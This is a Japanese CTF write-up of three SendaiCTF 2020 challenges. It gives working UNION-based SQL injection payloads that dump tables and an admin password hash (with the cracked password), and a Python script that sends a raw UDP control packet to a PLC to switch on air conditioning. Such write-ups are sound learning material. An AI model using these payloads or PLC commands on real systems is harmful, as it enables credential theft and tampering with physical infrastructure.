SendaiCTF 2020 writeup
11月21日に行われたSendaiCTF 2020に出場し、7位でした。
DFIR系のオープンワールド問や、ログを解析するForensics問、オーソドックスなWeb問や制御システムをハックするICS問など様々なジャンルが出題され、とても楽しめました!
今回の記事では、自分が解いた問題のうちsolveが少なかった - Web-1 秘密の本 - Web-2 Easy Injection - ICS07.PAC の3問に絞ってwriteupを買いていこうと思います〜
Web-1 秘密の本
・このサイトの脆弱性を悪用して、“秘密の本”の「書名」を探してください。 secretbook
これより前の問題で、↑の画面の書籍検索システムにはSQLiの脆弱性があることがわかっています
しかし、オーソドックスな' or 1=1 -- -
では秘密の本が見当たらないため、別のテーブルにあるとアタリをつけます
別のテーブルの値を読み出すSQLiといえばUNION-based SQLiなので、試しに' UNION SELECT 1,2 -- -
と打つと特にエラーは出ず、' UNION SELECT 1,2,3 -- -
だとエラーが出るのでカラム数は2つと断定できます
あとはこのページあたりを参考にして別のテーブルのテーブル名をダンプしてやれば、secretbookテーブルが存在することが判明するのでその値を読み出すペイロードを書きます
' UNION SELECT table_name,2 FROM information_schema.tables -- - # DBのテーブル名を読み出す
→secretbookテーブルがあることがわかります
' UNION SELECT column_name,2 FROM information_schema.columns -- - # DBのカラム名を読み出す
→authorカラムとtitleカラムがあることがわかります
solution
' UNION SELECT author, title FROM secretbook -- -
これを実行すると、出力されるレコードの最後にめんどうくさいWebセキュリティ
という本が出力されるので提出して終わりです
- ちなみにUNION-based SQLiはここで無料かつ演習つきで学べます
Web-2 Easy Injection
[背景] ・株式会社仙台シーテーエフでは、新人セキュリティ担当の教育のため、先輩社員が脆弱性のあるウェブサイトを構築し、セキュリティ診断させることとしました。 ・さて、本日の教育メニューは・・・?
[問題] ・練習用ウェブサイトでは、管理者のパスワードが脆弱な状態で保存されているようです。管理者ユーザーのパスワードを窃取できる脆弱性を探してください。
- Web-1と同じ、UNION-based SQLiです
- ただし、ログインページや新規登録ページがあるのでそっちに脆弱性があると思った人が多かったのかな、というイメージでした
投稿したメモを検索ボックスから検索できます。 シングルクォートを含む文字列を入れて検索すると次のようなエラーが出力されます
Error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' OR body LIKE '%'%') ORDER BY created_at DESC' at line 1
LIKE '%<ユーザの入力>%') ORDER BY created_at DESC
というSQL文がサーバサイドで動いていることが分かります。
しかしシングルクォートを含む文字列を入れることでLIKE '%'%')
みたいになってSQL文が崩壊してエラーになっている模様。
ここで、') or 1=1 -- -
みたいにシングルクォートと)を入れてやれば、LIKE句は成立しつつ後続のSQL文で好きなものを書けることがわかります。
ただし、前述の') or 1=1 -- -
では全てのユーザの投稿が表示されるものの、adminのパスワードなどはダンプできないようなので、ユーザ情報を管理するUserテーブルが存在するとアタリをつけてそれを読み出します。
あとはWeb-1の秘密の本と全く同じですので、最終的なペイロードと、それを実行した後に出てくるpassword hashをデコードしたものを載せておきます🙇♂️
solution
') UNION SELECT 1, name, is_admin, password_hash,4 FROM user -- - # is_adminはお好みでつけました
これを実行すると、is_adminが1のadminのpassword_hashがダンプできるので、あとは適当なハッシュ解読アプリをオンラインで試せば生のパスワードが割れるのでそれを提出して終わりです
d7cad39afa7c30c8c6f883d533e471c1→passw0rd!23
- firstbloodかつ最後までsolveが自分だけだったので嬉しかったです〜
ICS07.PAC
[問題] ・FTPサーバからダウンロードしたpcapを使ってPLCに命令を送り、PACを起動してサーバ室の室温を下げてください。 ・サーバ室内の温度がある程度下がるとWebサーバのhttpサービスが復旧します。
- 問題にpcapファイルが添付されており、中身はPACを制御した際のパケットだそうです
- この問題は、仙台CTF側の用意したネットワークにVPNで接続し、そのネットワーク内のPLCに対して命令を送り、ダウンしている空調システムを起動させ空冷、熱でダウンしているWebサーバを復旧させてFlagを取るというシチュエーションでした
ICS06まで解くとネットワークにVPNで接続できるので、あとはpcapファイルを元にどのようなパケットを組んでPACを起動するかを考えます。
もちろん制御システムなんて触ったことないのでどうすればいいのかとりあえず"PLC packet ctf"とググってみると、SendaiCTF 2018のIoT問のwriteupが引っかかります。→https://www.sendai-ctf.org/Library/2018/day2/CTF2018_OT_IoT.pdf
奇遇なことに、出題者も同じ方だったのでこれとpcapファイルにあるパケットを参考にsolverを書いてみました
solution
import socket client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDPなのでSOCK_DGRAMにすること client.connect(("192.168.2.5", 47808)) client.send(b"\x0a\x81\x17\x00\x04\x01\x05\x00\x0f\x0a\x01\x0c\x00\x00\x19\x00\x3e\x55\x01\x91\x49\x3f\x00\x01")
clinet.connect((<送信先IPアドレス>, <ポート>))
を埋める必要がありますが、それはpcapファイルにそれぞれDestinationとDst Portとして書いてあったので、それを埋めてみました
また、送るバイナリのパケットの部分ですが、公式でヒントがアナウンスされていたのでそれを参考に埋めました
ICS07のヒント3:ソケット通信で送る情報はこの部分です#sendaictf pic.twitter.com/ArTz3VIiZA
— sendaictf_icsworld (@sdctf_icswld) 2020年11月21日
このスクリプトを実行すると何も起きませんでしたが、少し待つと現地の様子を写しているカメラの映像にやや変動があり、運営の方が「誰かが復旧させた」とアナウンスしたのでこのスクリプトが正常に動作したと信じたいです...(もしかしたら別の人が送ったパケットで復旧したかもしれないしw)
空調が動いてWebサーバが復旧した後にアクセスすると制御システムのコントロールパネルみたいな画面が表示され、そのページのソースコードにFLAGが書いてあります
- flagは既にサーバが動いていない&提出しても残らなかったので失念してしまいましたが、確か
FLAG{cctv_camP@ssw0rd}
みたいな内容でした - この問題を解く上で、「PLCのデフォルトポートなんてシラネ」と思って必死に調べていましたが、よーくpcapファイルを見たら書いてありました
ちなみにICS08.CCTVは↑のflagをバラしてID、パスワードとして入力すると監視カメラのシステムにアクセスできます
まとめ
MacユーザなのでWindows系のDFIRの問題は一切解けませんでしたが、Web問とICS問は全完できたので嬉しかったです。 特にICSのPLC問はfirstbloodだったので嬉しかったです〜! (「DFIR問無理だからせめてICS問やるか...」と方向転換したのがよかったです)
ICS問全完しました!!!#sendaictf
— きなこ (@kinako_software) 2020年11月21日
来年も是非参加したいと思いました。 SendaiCTFを運営してくださった皆様に感謝します。そして入賞した方々、おめでとうございます!😎 運営の皆さんも、参加した皆さんもお疲れ様でした〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜!!!!(´・ω・`)